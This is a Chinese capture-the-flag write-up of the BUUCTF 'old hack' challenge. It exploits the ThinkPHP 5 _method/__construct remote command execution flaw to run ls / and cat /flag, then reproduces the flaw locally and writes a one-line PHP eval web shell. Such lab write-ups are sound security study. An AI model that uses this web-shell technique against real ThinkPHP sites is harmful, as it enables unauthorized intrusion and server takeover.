BUUCTF old hack
1.打开页面,获取提示信息
打开页面,页面提示powered by Thinkphp。说明可能和thinkphp框架有关。也确实如此,这里用到了thinkphp5的远程命令执行漏洞。在用这个thinkphp的漏洞前,先了解一下有关thinkphp的一些基础知识:
thinkphp是一个用来简化企业应用开发和敏捷WEB应用的php框架。thinkphp包含了底层架构、兼容处理、基类库、数据库访问层、模板引擎、缓存机制、插件机制、角色认证、表单处理等常用的组件。简而言之,thinkphp是一个用来简化php网站开发的框架,让开发者更注重于业务逻辑。
2.thinkphp5远程命令执行漏洞
漏洞描述:由于thinkphp对框架中的核心Requests类的方法method方法提供了表单请求伪造,该功能利用 $_POST['_method']
来传递真实的请求方法。但由于框架没有对参数进行验证,导致攻击者可以设置$_POST['_method']='__construct'
而让该类的变量被覆盖。攻击者利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令。
使用kali查找一下漏洞的利用方法:
1.searchsploit thinkphp
查找thinkphp相关的漏洞
2.cd usr/share/exploitdb/exploits/php/webapp/46150.txt
查看漏洞的利用方法
3.post传参,发现页面提示flag在路径下存放
4.把ls /
换成cat /flag
,获得最后的flag
5.提交flag
3.漏洞复现
下载thinkphp5.0.22: http://www.thinkphp.cn/donate/download/id/1260.html
通过phpstudy搭建环境,解压文件到WWW目录下
访问:localhost/thinkphp5.0.22/public
post传参 这里可以换成echo 233
测试一下
写入shell 换成 echo ^<?php @eval($_POST[cmd]);?^> >shell.php
可以看到成功写入shell,用菜刀连接试试,能连接,说明写入shell成功了。